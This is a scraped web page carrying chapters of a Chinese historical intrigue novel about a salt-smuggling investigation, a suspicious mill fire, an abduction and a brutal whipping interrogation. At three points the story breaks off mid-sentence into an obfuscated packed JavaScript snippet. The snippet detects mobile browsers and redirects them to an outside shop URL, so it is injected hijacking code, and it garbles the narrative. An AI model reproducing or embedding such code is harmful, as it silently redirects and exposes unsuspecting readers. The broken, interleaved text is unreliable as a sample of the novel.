叶玄懒懒躺在榻上，怀中抱着一只狸猫。这些天，他的乐趣便是听季辞秋从广陵传来的消息，坐看一出渔翁得利的好戏，实在有趣。 “信中说了些私盐的进展，现下虽未确定主谋，但背后的线索已逐渐显现。” “信中还说，”成影有些迟疑，斟酌着叶玄的脸色道，“郭副使疑似插手私盐，晋王在查他。” “郭统？”叶玄原本漫不经心地抚着猫，闻言手一用力，那狸猫叫了一声，反手挠了他一爪。 “王爷。”成影欲上前。 叶玄摆了摆手，若有所思。郭统是他安插在淮南节度使宋延身边的心腹，借此控制淮南道的一部分兵力。郭统染指私盐，竟从未向他透露过。 看来广陵是块宝地，待得久了，便忘了自己的主子是谁了。 “告诉肃风，赶在小五之前，查明郭统的事。若是有什么证据，也一并销毁。” “是。”成影应声退下。 他惩罚般得掐了狸猫一下：“阿秋，下次可不能这样淘气了。” 20. 水猴 这日，季辞秋刚要出府，便看见个东张西望的身影。 “阿黎！”她惊喜道，“你怎么跑这儿来了？” “表哥，”阿黎见了季辞秋，连忙上前，“好些天没见你，爹爹和媪媪都很担心你，让我来瞧一瞧。” 她说着从包袱中掏出一个卷轴塞到季辞秋手里：“这是我跟着师父学了一阵子画的，送给表哥。” 卷轴展开，是保障湖的夜景。华灯初上，星星点点的河灯随着流水聚在一起，衬照着河中幽蓝的睡莲，河面上方烟花绽放，定格在最绚烂的那刻。 “那日河灯节，我同爹爹去保障湖放河灯，看了好大的花灯，漂亮极了，回来便画到了纸上。” “我画得不好，表哥不要嫌弃。”阿黎怯生生地看了季辞秋一眼。 “怎么会？”季辞秋乐呵得摩梭着画纸，“你看这花灯、这烟花，栩栩如生的，没见过那样场景的人，看了你的画都能身临其境了。” 她小心收好卷轴，摸了摸阿黎的头：“我们阿黎呀，真是个大画家。” “表哥莫取笑我了。”阿黎低头拽着裙褶，眼里都是藏不住的喜悦。 “对了，”季辞秋忽得想起什么，“你认识吴大同吗？先前是海陵的一个亭户。” “认识呀，”阿黎点头，“他人挺好的，之前我爹爹一人忙不过来的时候，他常来帮忙。不过后来官府收盐克扣，大家日子过不下去，纷纷出去讨生活，渐渐也没再联系了。怎么啦？” 季辞秋默了默：“没事，随口问问。” 她拍拍阿黎的肩道：“跟着师父好好学，等着看我们方大师的大作。” “嗯！”阿黎重重点头，“表哥，那我先回去啦。” “去吧。”季辞秋看着她蹦蹦跳跳的背影，心里暖暖的。许久不见，阿黎开朗了不少，开始有这个年纪的活泼灵动了，她打心眼里开心。 “这就是你那表亲？”葵生靠着门道。季辞秋这才发现葵生也在一旁，几日的修养，他按捺不住，做了个拐在府内四处闲逛。 “听说这画是你让她学的？” “你如何知道？” “她方才同我说的。”葵生双手抱臂，“你这人也是稀奇，别的人都是想方设法将银子往口袋里装，你倒好，非但不装，还往外倒。” “我乐意。”季辞秋咧着嘴道。 叶望在正堂静静看着二人插科打诨许久，回了屋。 —— 太平坊，青戈走进陆敞的府邸。近日葵生受伤，季辞秋又忙着同叶望查海陵的事，驻扎太平坊的任务便交给了他。 陆敞此时正忙着给坊内申领户籍的人按照家中情况、负罪有无等排序，到时公示给坊内居民，消除异议。 “青戈兄，何事？”陆敞理了理一摞纸。 “陆兄，我家大人说，之后很可能会严查私盐买卖，牵扯颇多。” 太平坊的私盐生意钓到了想要的鱼，不必再招摇了，以免多生事端。 “青戈兄的意思是……”陆敞迟疑了一下，却是不乐意了，“先前说的每月五个户籍，敢情才兑现了一月，便反悔了？” 私盐生意凶险，他并非不知，只是这户籍于坊内居民，是可遇不可求之事，他才以身犯险。如今说不做就不做了，未免有些不仗义了。 “陆兄误会了，我家大人的意思是，私盐生意不必做了，但户籍还会兑现。” “此话当真？”陆敞将信将疑。 “当真，”青戈沉声道，“不过今后若是有事麻烦陆兄，还望陆兄可以助一臂之力，行个方便。” 陆敞闻言，爽快抱拳道：“若可以，陆某必鼎力相助。” 他忽得想起什么：“对了，前几日你不是说在打听一船具铺老板的消息吗？” “我让坊里的百晓生打听了下，似是有了些线索。” —— “王爷，”青戈急匆匆地跨门而入，“先前失踪的船具铺老板有消息了。” 叶望闻此撂下笔。 “东水门闹鬼后，他担惊受怕，关了店回乡下老家。近段时间，闹鬼之事渐渐平息，他又想回广陵继续谋生计，却也不敢去先前的地儿，在通济坊盘了个铺子，重新开张了。” “走，去会会。”叶望站起身。 二人悄悄出了府。垂花门后探出一个头，庞谨低声对其他两名护卫道：“三人目标太大，你们在府中守着，我一人跟过去。” 通济坊与广济坊一样，临着官河。不过因为边上就是大市，这里的地价要比广济坊高几倍。 一家船具铺挂着鲜红的幌子，坐落在人来人往的长街上。由于是新开张的，店里没什么人，掌柜也悠闲地坐在柜台编着绳结。 这时门外走进两人，其中一位带着兜帽，衣着华丽，看着便身份不俗。 “客官，需要点什么？”掌柜迎上来。 叶望单手取下兜帽，站在店内环顾了一圈。“有饵料卖吗？”他问道。 “有，”掌柜连连点头，走到一排有许多分格的柜子前，“我这儿有天然饵料和人工饵料，分素饵和荤饵。天然饵料直接取蚓而制、价钱实惠，人工饵料取蜀黍、麸皮等研磨成粉，融合制得，价钱也更昂贵些。看客官想要哪种？” “后者，要你们这最好的。”叶望直接道。 “好嘞。”掌柜碰上这样爽快多金的买家，高兴得合不拢嘴，连声应道。 “客官，您要的饵料，拿好。”他笑眯眯地将袋子递给青戈，伸手接过钱。 “掌柜，方便向你打听点事儿吗？”青戈撑着桌子道。 “何事？知无不言。”卖出这个大单，掌柜心情甚好，说话都轻快了些。可是下一秒，他便笑不出来了。 “前几个月，有一支自广陵出发的船队中途沉没了，船上的人大半丧生，只有一舵夫活了下来。听人说你是他好友，不知你是否知道此事？” 掌柜面露难色：“客官，不是我不说，前阵子东水门码头闹鬼，就是与这事有关。我回乡避了一阵，又卖旧铺盘新铺，好一顿折腾，不就是为了躲它吗？” “不做亏心事不怕鬼敲门。你若不心虚，为何要躲？”青戈道。 掌柜闻言默了默，好半晌才道：“你们寻到这儿，想必也知道，那舵夫生前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16721016|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常来找我，与我吵了一架，不欢而散。” “后来我听说他死了，心里不是滋味，想着若是之前没同他闹掰，兴许他还能活久些。” 说到这儿，掌柜叹了口气：“既然你们找上门来，我便把这事都与你们说了吧，整日闷在心里我也难受。” “他原本是不去那趟走货的，只因去的舵夫染疾，他顶班才上了那艘船。那次天灾后，他大难不死，但回来后神神叨叨的，逢人就瞪大眼睛说‘活不了了’，吓人得很。周围人都传他其实已经死在船上了，回来的人不是他。久而久之，大家都避着他，没人敢靠近。” “我念着情分，看他可怜，去看过他好几回。他一开始不愿见我，后来不知怎得，隔三岔五地来找我，看见我就跟见着救命稻草一般扑过来，周围人都说我被鬼缠上了，没人敢来我的店里买东西。” “我就是靠这个吃饭的，长此以往哪能行。那天他又来找我时，我就生气了，骂了他一句‘疯子’，他愣了愣推门而去，自此之后就再也没来了。我后来想了想，可能因为旁人都把他当疯子看，只有我不是，那天我也跟着骂他疯子，他伤心了吧。”掌柜越说越自责，又叹了口气。 “他来找你，可有跟你说些什么？”叶望问道。 “其实也没说什么，他每次来找我，反反复复就那几句胡话，我都能背了。”掌柜回忆道，“他说，早跟你说了，别上船，那船上有那么多水猴子，一入水就没，直把船往水里拽，不沉才怪。” “后来有一次，他忽然说他最近又见到水猴子了，我问了一圈码头的渔夫，没人说有水猴子，便当他又说了胡话。” “他可曾有什么东西给你？” 掌柜摇了摇头，忽又道：“不过你这么问，我倒想起来，他有一阵精神好的时候上我这儿，说死后想埋在码头旁的一座小山上，山上有一片桃花林，他在最高的树下藏了宝，往后睡在边上谁也抢不了。后来他真的死了，我想起他说的话，便雇人将他运到了那片桃花林，在最高的树下挖了个坑，了了他这桩心愿。” “人死如灯灭，点点滴滴，回想起来却只有这么点。”掌柜唏嘘一声，“你们还有什么要问的？” 二人谢过掌柜，走出了门。 “王爷，这舵夫像是真疯了，他说的话会不会不可信？”青戈默默道。 “可不可信，去去便知。”叶望驭马往前行，悠悠道。 二人逐渐走远，庞谨探出了身，小心跟了上去。 —— 天色近晚，同乐坊中，家家户户升起了炊烟。几个小儿在门前踢蹴鞠，一不留神，蹴鞠飞得好远，从门缝下滚到了那个废弃已久的造纸厂里。 “完了。”他们凑在门缝前往里看。 一小孩皱着眉头道：“你们有没有闻到一股焦糊味。” 众人四处闻了闻：“好像是有点。” 温度骤然升高了些，他们心觉不妙，转头看去。只见硕大的造纸厂转瞬间已陷入一片火海，火舌肆虐，卷起滚滚浓烟，伴随着木头倒塌的巨响。 “不好啦，走水啦！”他们忙跑开，四散着叫人去了。 21. 生变 叶望与青戈策马至了东水门码头旁的小山，如掌柜所言，山上有一片桃花林。正值初夏，桃花早已谢了，光秃秃一片，很容易就看到了那方孤零零立在树边的坟。 坟的四周环绕着插了一圈短枝，历经风吹雨打，歪歪斜斜地立着。中间有一块简陋的石碑，简简单单刻着几个大字，想必是那舵夫的生平。 叶望绕着那棵桃树转了一圈，没有异样。 “王爷，可看出什么？”青戈将一根枝条扶正。 叶望蹲下身，捻了一点地上的泥土，土呈暗黄色，板结状，不似刚被挖出。 奇怪，没有被翻动的痕迹，难不成那舵夫果真说的胡话？ 他正思索着，忽地听青戈一声吸气，叶望顺着他的目光看去，西边不知哪个地方，冒出滚滚浓烟，遮天蔽日。 那个方向......他心中隐隐不安。 “王爷……” 叶望眉头紧锁，一言不发地勒着马头调转方向，往回赶了。 葵生在府中急得拄着拐打转，“哎！这是什么事？！” 季辞秋在一旁默不作声，脸色亦是不好。约莫两刻前，她得知了废弃造纸厂着火的事，听到消息，她的第一反应便是此事绝非意外。 那造纸厂废弃多年安然无恙，怎得他们正要去查就意外走水了？ 只是会是谁做的呢？是那帮私盐贩发觉被查，想要毁尸灭迹？可仅因一点毫无根据的猜测，就烧毁那样大的地方，代价也太大了。 还有谁知道造纸厂？她蹙了蹙眉，心下一动。刚从海陵回来，她拿着地图找过肃风，才知道了废弃的造纸厂。贼喊捉贼？这也太牵强了。 季辞秋眉头皱得更紧。 “王爷！造纸厂走水了。”葵生望眼欲穿，终于等到叶望归来，连忙迎过来。 叶望面色晦暗，点头道：“方才在外头看到了。” 折腾了许久，造纸厂的线索就这样断了，众人都有些沮丧。“继续查它的来历。”叶望吩咐青戈，“造纸厂走水，说明我们的方向没有走偏。”纸包不住火，终有掩盖不了的一天。 —— 太平坊。 二福近日都没精打采，他的两位师父，不知为何忽然都不来了，换成了一个不苟言笑的大哥哥。他暗戳戳尝试勾搭过几次，被那人一如既往的冰块脸狠狠打击，放弃了拜师的计划。 江湖之路真难，莫非是上天在磨练我的心性？他仰天长叹。 “近日有没有练功？”一个熟悉的声音忽地在身后响起。二福猛地抬头，惊喜道：“白轩师父！好久不见，我还以为你们不要我这个徒弟了。” 季辞秋解释道：“你葵生师父前些日子受了伤，一直在休养，我因事抽不开身，这才没来太平坊。” “葵生师父受伤了？”二福瞪大了眼睛，“伤得可重？” “右腿被暗器刺中，将养了些日子，已快好了。”季辞秋道。 二福嘶了一声：“听起来好痛。” “你日后若是闯荡江湖，这样的伤是家常便饭哦。”季辞秋提醒道，“是不是没那么想闯荡江湖了？” 二福顿了顿，复又梗着脖子道：“我可没说，我二福也不是什么贪生怕死之徒。” 季辞秋拍拍二福的肩膀：“对了，现在形势有变，我和你葵生师父不会每日来太平坊了。先前教你的那些招式，便是武学的基本功，你若练得好，闯荡江湖亦够了。” 二福听此有些失落。 “你也别难过，今后得空，我和葵生都会来检查你的武功练得如何。”季辞秋安慰道。 二福重重点了点头，又抬头道：“师父，那你今日来是为何？” “听说你们坊里有一百晓生，虽官府的事儿不沾，但民间的奇闻轶事无所不知。你可知他在何处？” 二福托着腮：“师父说的是坊南的天机阁吧。不过那阁主古怪得很，除了敞叔，对谁都爱搭不理。” 天机阁坐落在太平坊南的绿杨街。一座中规中矩的二层小楼，看着平平无奇。 季辞秋迈了进去，却是一愣。阁内一排排木架上摆了各式各样的香膏，竟是做脂粉生意的。 她退出去，看了一眼招牌。“小公子，要买点什么？”一女子笑盈盈走来。 “我找百晓生，打听点事儿。”她如实道。 女子上下打量了季辞秋一眼，调笑道：“小公子，每日找我家阁主的人不在少数。你得有些本事，阁主才有功夫听你的诉求。” “你们想要什么？”季辞秋心一紧，不会要狮子大开口吧，她可没有那么多钱。 哪知女子像是猜到了她的心思，将她引至后院，娓娓道：“我家阁主同别人不一样，对豪掷千金不感兴趣。要想见阁主，得先凭自己的本事，过这八卦阵。” 霎时间，数个侍卫围了上来，他们一手执刀，另一手持盾，缓缓靠近。 季辞秋揉了揉眼，心道不妙。那盾不是普通的盾牌，而是打磨光滑的铜镜，紧密排列的盾面上映出侍卫的身影，似真似假，令人目眩。 忽然那阵开始旋转起来，本就密集的人影更加重叠，呈现出杂糅在一起的虚影，身处其中，虽静立不动，亦有种跟着一起旋转的晕眩感。 阵外响起一个悠悠的声音，“给你一盏茶的时间。” 季辞秋集中精神，想紧盯住一个侍卫，以此做突破口。但她很快发现方法行不通，铜镜配合着旋转，分辨真假都难。 她站在原地，环顾了一圈周围的地势，恨无地借力，让她跃至高处俯瞰。她沉呼一口气，静下心来，思考对策。 这个时候的铜镜，远不及现代的清晰。因着技术限制，镜面都由人工打磨，虽肉眼看去光滑，但不可避免地藏着些坑坑洼洼的地儿。光线射到镜面上时，被这些坑洼反射到别的方向，不射回人的眼中，镜像自然便暗淡了些。 若是晴天，稍微细心些，还可分辨出镜像与真实人像。可惜今日的天阴沉得厉害，光线本就灰暗，竟让真假人像更加融合。 季辞秋皱眉犯了难，忽地灵光一现。对，光线！有光线就好办了。 她掏出一张火折子引燃，昏暗的环境中，这样的光源格外显眼，一下子扰动了光线，环绕的盾面都映出跃动的火焰，真假分明。 她勾唇笑了笑，正欲从一狭缝突出，阵型忽地急剧缩小，向她逼近。 情急之中，她凝集内力，掌风如雷，尽数拍在一人身上，有排山倒海之势。那人被震出几米，倒地不起，八卦阵自破。 季辞秋懵懵地站在原地，方才那下是她使出的？她有些不敢置信，自己竟能召出内力了。 阁子二楼响起拍手声，季辞秋抬头看去，一公子正坐在镂花窗前看她。 “小公子，这边请。”女子恭敬上前道。 她跟着上了二楼，进了一间小室。迎面是一扇琉璃八扇折屏，屏风旁的鎏金兽首香炉中，袅袅吐出丝丝缕缕的烟雾，在半空中缓缓散开。 “阁下想知道什么？”屏风后，一坐在四轮素舆上的男子被婢女推着缓缓而出。 季辞秋愣了愣，道：“我想请阁下帮忙打听广陵的盐商。”私盐调查至此，造纸厂的线索倏然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725418|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被掐断，她盘了许久，找到了另一条路。官府私盐，必会侵吞盐商的利益，这些走正规途径买卖食盐的盐商，难道就没有一丝怨言吗？ “听起来不是个难事。”男子拂扇道。 “我想知盐商会的老大是谁，盐商之间的关系，越详细越好。” 男子点头：“作为回报，你能给我什么？” “你不问我为何想知道？” “我们这行的规矩，只管打听，不问缘由。” “你想要什么？钱？”季辞秋迟疑道。 “钱可以，”男子瞥了她一眼，“若是没有，也可以用消息交换，有意思的消息。” 季辞秋沉默，她刚来广陵几个月，论民间消息，哪比得上这百晓生。不过若是官府的消息，她倒是知道些。 “我知道些淮南节度使和副使的事儿，不知阁下感不感兴趣？” “洗耳恭听。” 于是，她将葵生同她说的宋延与郭统间的过往描述了一番，又补充了淮南节度使与陇西节度使的旧事。 “精彩。”男子听得津津有味，“拂冬，记下了，遣人去查。” 如此爽快，季辞秋一时没反应过来。他都不怀疑一下她说的话的真实性吗？ “还有什么事吗？” 季辞秋斟酌了几秒，谨慎道：“绮陌楼的琼娘子，能查到身世吗？” “这是另一个消息。” “你还要什么？”季辞秋紧接道。 男子饶有趣味地打量了她一眼，不紧不慢道：“我想借阁下身上的一个信物，或者说一个珍贵之物，不知阁下有没有？” 珍贵之物？季辞秋犯了难。自己一个家破人亡的逃犯，何来珍贵之物？她忽得想起刚穿越来时，身上摸出来的一个香囊。 她犹豫半晌，咬了咬牙，自袖中拿出：“我只有这个了，还请保管妥当。” 男子应声，接过香囊看了看，交给一旁的侍女。 “多久能有消息？” “约莫七日。”他合了扇，闭目养神，似乎不愿多说。 待季辞秋走后，拂冬犹疑道：“阁主，他说的话不知真假，就这样答应他了吗？” “这人可不一般，”男子睁开眼，淡淡一笑，“我方才在楼上看得清楚，他使得那套掌法绝非平常。” “查查现今江湖上的门派，说不定又能套个大情报。” “还有，把那香囊拿去锦绣坊，看看有什么来历。” 时辰不早了，季辞秋正欲出坊，忽见二福急急忙忙跑来。 “师父，不好了，”二福气喘吁吁，“我将才看见几个黑衣人潜进敞叔的府邸，瞧着不像好人。我在门口张望了一会，没听到动静，怕贸然进入添乱，就来找师父了。” 季辞秋心中一沉：“莫慌，你呆在此地，我去看看。” 她摸去了陆敞的府邸，平日紧闭的大门敞开，被风吹得左右摆动，断续发出吱呀声。往里瞧去，黑乎乎一片，静悄悄的。 她咽了咽口水，小心迈进去。进门有两位守卫躺倒在地，被人一击割喉致命，她只看了一眼便收回目光，胃里一阵翻涌。 不妙。求生的恐惧压下了身体的不适，她掏出短刀，猫着腰往里走。 正堂的红木云纹桌上，摆着一盏茶水，季辞秋走近摸了摸，茶水温热，还冒着热气，显然刚斟不久。 若是不久......人很可能还在府邸！ 她身形一震，猛地转身，几个蒙面一跃而起，举刀向她劈来。她慌忙躲避，忽地后颈被一记重击，两眼一黑，晕了过去。 22. 牢狱 三更天。 一只乌鸦衔着石子落在房屋小小的天窗旁，屋顶聚积的水被扰动，顺着天窗漏下，滴在了躺在茅草上的人的脸上。 季辞秋被冰凉的触感刺得一惊，猛地睁开眼爬起来。 她似乎被关起来了。这牢房约莫一丈见方，墙壁都是灰土粗糙砌成，地上随意地铺着草席，空气中弥漫着一股霉烂的味道。 她挣扎起身，欲走向铁栏，忽地被什么东西绊住，这才发现脚上套了碗口大的铁链。好在铁链足够长，她理了理，缓慢地挪动至铁门。 扒着铁栏往外看，是一条阴暗的走道。道的两边墙壁上，每隔一段距离点着烛火，散发着幽幽的光。隔壁牢房传来一阵微弱的闷哼声，季辞秋试探地小声道：“陆敞？” 闷哼声骤然停止，响起一声压抑的问话：“谁？” “我，白轩。”季辞秋言简意赅。 对面默了默：“白兄为何在这？” “那帮人抓你时，我赶巧路过，原本想探探情况，被抓到了这里。”季辞秋道，“你可知抓你的是何人？” “不知。”陆敞沉沉道。 正说着，一阵脚步声自远处传来，二人连忙噤声装睡。 “嘿，这个时候，也该醒了。”一人一边嘀咕，一边掏出一只铁圈。圈上密密麻麻套着许多钥匙，抖动间叮啷作响。 “利索些，赶紧将大人要的人提了带去。”一人催促道。随着一声清脆的卡扣声，铁门吱呀着被打开了。 “喂，醒醒。”那人用脚踢了踢陆敞，与同伴道，“是这个吧？别提错了人。” “信我，不会错的，这里面就他衣着华贵些。”另一人肯定道。 陆敞睁开眼，见一提灯小厮正捣鼓铁链，哑着嗓子道：“这是何处？为何关我？” 小厮忙着手中的动作没搭理，过了一会，直起身，轻飘飘看了他一眼：“我劝你省些气力，有什么问题，待会到了那边，给你问个够。” “走吧。”陆敞拖着沉重的铰链，跨出了牢房。路过季辞秋时，看了她一眼。 “别墨迹，快走。”小厮提着嗓子道。 季辞秋在牢中眼睁睁地看着陆敞被带走，心中砰砰直跳。直觉告诉她，此事多半与私盐有关。通义盐场被盗，造纸厂又被烧毁，再迟钝的人也会发觉其中蹊跷。看来有人坐不住了。 她蜷腿坐在草席上，盘算着接下来的路子，许久惊觉后背已被冷汗浸透。她缩了缩身子，把自己拢紧了些。 —— “王爷，太平坊出事了。”青戈匆匆来报，“昨夜陆敞府邸被闯，人被带走了。” 葵生猛地一拍桌子：“坏了，白轩昨日去找二福了，也在太平坊。” 今早没见着他，看他房门紧闭，还以为在睡懒觉。 “何时的事？”叶望站起身。 “昨日约莫戌正。” 几人赶去太平坊，见一群人聚在一起，群龙无首。 “敞爷被掳走了！这可怎么办，就说那生意碰不得。” “别在那马后炮了，现今要商量个对策，救出敞爷。” “二福，”葵生眼尖，一眼就看见了在人群后偷偷抹泪的二福，“你可见过白轩？” “葵生师父！”二福见着葵生，抹了抹眼跑过来，“是我害了白轩师父，呜呜呜......” “何出此言？” “我看见几个黑衣人潜进敞叔的府邸，不敢跟进去便找了白轩师父，师父让我留在原处，自己进了府，这才被掳走了。”二福越说越自责，手局促地抓着衣摆。他的衣服脏兮兮地沾了一块一块的泥土，裤子膝盖也破了个洞。 “你可知他们去了何处？”叶望沉声问道。 二福见这男子虽半遮着脸，一身劲装但气度不凡，怯怯道：“我在原地等了许久，不见师父出来，便小心靠近。忽地看见几个黑影从屋顶掠了过去，我赶忙跟了上去。” “可恨我学艺不精，到了青龙坊把人跟丢了，他们入了坊便像消失了一般，我蹲了一会儿没有动静，只好回来了。” 二福想起什么，又道：“对了，方才也有一人寻我问了白轩师父的下落。” 三人对视一眼，“你可记得那人什么样貌？” “就同师父你差不多的装扮，我还以为你们是一起的。”二福疑惑道。 见三人沉默，二福叹了口气，恨铁不成钢道：“不知道敞叔和白轩师父怎么样了，要是我平时练功再努力些，说不定就能救下他们了。” “二福，不是你的问题，你先呆在这好好安抚左邻右坊。”葵生拍拍他的肩膀。 “他们暂时应是安全的，”叶望道，“若是取命，无需大费周章。” 二福点点头。 “王爷，要不要去青龙坊探探。”青戈低声道。 “去看看。” —— 季辞秋是被一盆冷水泼醒的，她昨夜蜷缩着身子坐了许久，不知何时昏昏沉沉的睡着了，再一睁眼已是早晨。 “起来，跟着我走。”小厮不耐烦道。 铁链冰凉且笨重，束在脚上隐隐作痛，像如影随形的鬼魅，要将人拖入地下去。穿越过来这么久，这还是她第一次入大狱，也算是沉浸式的牢狱深度游了，她自嘲地想。 不过这牢狱似乎不是官牢，里面的狱卒并不着官服，皆是普通的布衣模样，像是一个不正规的私人牢房。 季辞秋与另一名被掳过来的坊民一道，迈入了一间更大的牢房。牢房正中的木架上绑了一名男子，白色的衣衫上布满了血红的鞭痕，腰侧一块三角的烙印，已发焦发黑。那男子低垂着头，闻声勉力睁开眼。 竟是陆敞。她一瞬间僵在原地，浑身血液倒流，涌起彻骨的寒意。那坊民也意识到了什么，痛呼出口：“敞爷！” “绑起来。”身后走进一人，横眉吊眼，面目可怖。 “你要做什么？”季辞秋厉声道，“律以官断，庶民滥用私刑，视为坐法。” “报官请便，”男子哂笑一声，满不在乎地撇她一眼，“你还是担心一下待会怎样说，能保住小命罢。” “别像他一样，嘴硬得跟块石头似的，到头来，吃苦的还是自己。” 季辞秋与坊民分别被绑在陆敞两旁的十字木架上，男子哈气搓了搓手，精挑细选了半天，拣起一根绛紫色的长鞭。 他左右活动脖颈，不紧不慢道：“我这鞭子不长眼，下手没轻没重的。你们若是不好好回答我的问题，不妨尝尝我这鞭子的滋味。” “太平坊的私盐生意是谁指使你们做的？” “我说了，是我一人所为。”陆敞吸了吸气，艰难开口。而后是一阵沉默。 男子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740225|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闭眼等了一会儿，睁开眼。他嘴角弯了弯，在木架间缓缓走动，眼中透着压抑不住的兴奋：“不说是吧。” “那就从你这个牙尖嘴利的小子开始。”他猛地扬起长鞭，狠狠地向季辞秋抽下。 长鞭落至，皮肉一瞬间失去知觉，而后爆竹般绽开火辣辣的刺痛，顺着筋骨蔓延至全身，季辞秋不受控制地痉挛起来。 “如何？”男子舔了舔嘴唇，很是畅快。 季辞秋过了好一会，才缓过神来。长久生活在法制规范的现代，几乎不曾受过皮肉之苦。上次在船上的臂伤，她以为已是极致，没曾想这鞭刑竟比那疼上几十倍。 见她不回答，男子又挨个抽了陆敞与坊民，陆敞闷哼一声，坊民则吱哇乱叫起来。 “若是不回答，我便一直这样抽，看你们能撑到几时。” 一声声鞭响伴随着痛呼声在刑室回荡，那坊民终究承受不住，在鞭子落下的前一刻大叫道：“我说我说！” “吴三！”陆敞胸口起伏，沉沉道。 “敞爷，我上有老下有小，我不想死。”吴三抽泣着，一咬牙道，“我们先前都做些小本买卖，后来听说什么右仆射的人来了太平坊，让我们把私盐生意做大。” “右仆射？”男子脸色一变，又沉下心道，“说谎话的代价要尝尝吗？” “他没说谎，我作证。”季辞秋艰难开口。方才吴三屈打成招时她紧张得很，生怕说出些什么暴露了叶望，此时听到他的话，才松了口气。 她竟忘了先前同陆敞信口胡诌的右仆射。 “那日是我找的陆兄，要他合作私盐。” “哟，竟捉到条大鱼。”男子被吸引了注意，拖着鞭子走来，“把这两人带回去。” 待人走后，男子净了净手：“小兄弟，朝廷上的人可不能瞎报，你以为你随便搬出个大官便能唬住我吗？” “信不信由你，但我确是陆仆射的人。”季辞秋深吸了一口气，强撑着精神道。男子不信很正常，不出意外，他们本就是与陆定年有利益往来的人，如今陆定年的人坏他们的好事，任谁都不会相信。但眼下能拖一秒是一秒，陆定年远在京城，就算核实也需费些时间。 “我也不同你打哑谜了，陆仆射身居高位，殚精竭虑，私底下做些买卖赚点银钱情有可原。我劝你不要多管闲事，这么大的案子，你敢查吗？” 季辞秋这一番倒反天罡的话彻底让男子愣住了，面上闪过一丝无措。好像不太对劲，明明是他们在帮陆仆射做私盐，怎得变成他们在与陆仆射作对了？ 不过既然他能知晓陆仆射的生意，定非等闲之辈。许是陆仆射手下不止他们这一波人？得去确认一下。 “把他带回牢房，好生看管着。”男子说完，疾步离开了。 —— 青龙坊地处城东，一个突出的特点是大。这里多是饲养贩卖马匹的互市，因此建筑也更为高大。 “这么大的坊，可怎么找？”葵生为难地挠头。 “青戈，打听一下，坊中有什么名贵的酒楼？”叶望吩咐道。 葵生眨了眨眼，他没听错吧，这个时候了，王爷还要去酒楼？ “夜行衣也一并备好，本王还需要一名刺客。” “刺客？”青戈也愣了下，他同葵生对视一眼，不知叶望在打什么算盘，只得埋头去做了。 23. 牢狱 青龙坊的天福楼要来一位贵客。 掌柜一大早使唤着小厮洒扫点香，又叮嘱厨子拿出看家本事大显身手，这才安心地理了理衣袖，立在大门外等候。 青龙坊多做马匹生意，坊中酒楼不多，远不及其他坊的华贵。只是不知怎得，广陵赫赫有名的富商胡升泰之子前日遣人过来，说久闻天福楼的瓷瓮糖蟹盛名，要预订一桌，还说要来一位贵客——在广陵巡游的五殿下。 掌柜起初以为自己听错了，核实后暗暗窃喜。原本只想做些平民生意，不奢求更多，如今天降的机会到眼前，不抓住岂不是蠢人？他决定好好表现，把贵客伺候满意了，一举实现天福楼升阶。 一架金玉满饰的马车驶来，掌柜连忙打起精神，拍了拍脸，领着众人齐齐跪下。 “草民叩见殿下，殿下千岁千岁千千岁！” “免礼。”叶望动了动手。 “贵客驾临，小店蓬荜生辉。”掌柜露出标致的微笑，躬着身让出条道，“小店已有雅座备好，里边请。” “殿下请。”胡泽谦恭敬道。 掌柜提前打听了叶望的喜好，特地去花楼请了几位舞娘，曲乐靡靡，歌舞升平。 “殿下，这糖蟹确是名不虚传。”胡泽谦尝了一口，还未细品，便啧啧称叹，“胡某惭愧，生在广陵这么些年，竟没发现这等佳肴。” 叶望笑了笑：“本王也只是道听途说，随口一提。胡公子有心了。” “哪里哪里，胡某能搏殿下欢心，当是荣幸之至。”胡泽谦端起酒杯，一饮而尽，“殿下且尽兴，这一杯我干了。” 二人有一搭没一搭的聊着，掌柜小心觑着贵客的脸色，见他们满面春风，心下也雀跃得很。 忽地，叶望身旁的侍女尖叫一声，摔了酒壶，瘫坐在地。众人没来得及反应，见一只箭矢不偏不倚地插在叶望身后的屏风上。 “有刺客！”一时间阁内混乱一片，人群作鸟兽散，护卫飞身将叶望护在中间，胡泽谦害怕地躲在桌子下，不敢抬头。 一道人影自横梁上闪了闪，众目睽睽之下逃出门。护卫赶紧追了上去。 “什么？光天化日之下竟有这等事？”薛世平一拍桌案，站了起来，“殿下安好？” “无碍。”前来禀告的人道，“那刺客混入青龙坊中便没了踪迹，此刻殿下正发怒，要一家一家彻查坊内呢。” 这么大的坊，查起来可不是件易事。薛世平默了默，又道：“郭副使的意思呢？” 